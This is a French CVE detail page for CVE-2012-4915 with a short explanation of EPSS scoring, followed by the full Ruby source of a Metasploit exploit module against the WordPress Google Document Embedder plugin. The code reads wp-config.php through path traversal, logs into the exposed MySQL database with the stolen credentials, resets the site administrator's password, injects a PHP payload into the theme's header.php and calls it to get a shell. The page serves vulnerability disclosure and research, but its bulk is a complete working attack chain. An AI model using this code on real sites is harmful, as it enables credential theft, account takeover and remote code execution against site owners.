CVE-2012-4915 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rbmysql' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure', 'Description' => %q{ This module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and Wordpress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end. }, 'Author' => [ 'Charlie Eriksen', ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 03 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' admin_uri = String.new(uri) admin_uri << datastore['ADMINPATH'] admin_uri << '/' if plugins_uri[-1,1] != '/' themes_uri = String.new(uri) themes_uri << datastore['THEMESPATH'] themes_uri << '/' if plugins_uri[-1,1] != '/' print_status('Fetching wp-config.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", 'vars_get' => { 'fn' => "#{rand_text_alphanumeric(4)}.pdf", 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", } }) if res and res.body =~ /allow_url_fopen/ fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') elsif res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end config = parse_wp_config(res.body) if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") end begin @mysql_handle = ::RbMysql.connect({ :host => config['DB_HOST'], :port => config['DB_PORT'], :read_timeout => 300, :write_timeout => 300, :socket => nil, :user => config['DB_USER'], :password => config['DB_PASSWORD'], :db => config['DB_NAME'] }) rescue Errno::ECONNREFUSED, RbMysql::ClientError, Errno::ETIMEDOUT, RbMysql::AccessDeniedError, RbMysql::HostNotPrivileged fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") if res.nil? or res.size <= 0 fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') end user = res.first new_password = rand_text_alphanumeric(8) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'") print_warning("Admin password changed to: #{new_password}") admin_cookie = get_wp_cookie(uri, user[0], new_password) theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie) print_warning("Editing theme #{theme}") set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded) print_status("Calling backdoor") res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{themes_uri}#{theme}/header.php", }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php") print_status("wp-config.php saved in: #{p}") print_status("Parsing config file") values = {} body.each_line do |line| if line =~ /define/ key_pair = line.scan(/('|")([^'"]*)('|")/) if key_pair.length == 2 values[key_pair[0][1]] = key_pair[1][1] end elsif line =~ /table_prefix/ table_prefix = line.scan(/('|")([^'"]*)('|")/) values['DB_PREFIX'] = table_prefix[0][1] end end #Extract the port from DB_HOST and normalize DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end return values end def get_wp_cookie(uri, username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-login.php", 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', 'vars_post' => { 'log' => username, 'pwd' => password, 'wp-submit' => 'Log+In', 'testcookie' => '1', }, }) if res and res.code == 200 fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end admin_cookie = '' (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end if admin_cookie.empty? fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') end return admin_cookie end def get_wp_theme(admin_uri, admin_cookie) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?file=header.php", 'cookie' => admin_cookie, }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0 fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s)) theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s return [theme, nonce, old_content] end def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?", 'cookie' => admin_cookie, 'vars_post' => { '_wpnonce' => nonce, 'theme' => theme, 'newcontent' => new_content, 'action' => 'update', 'file' => 'header.php' }, }) if res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end end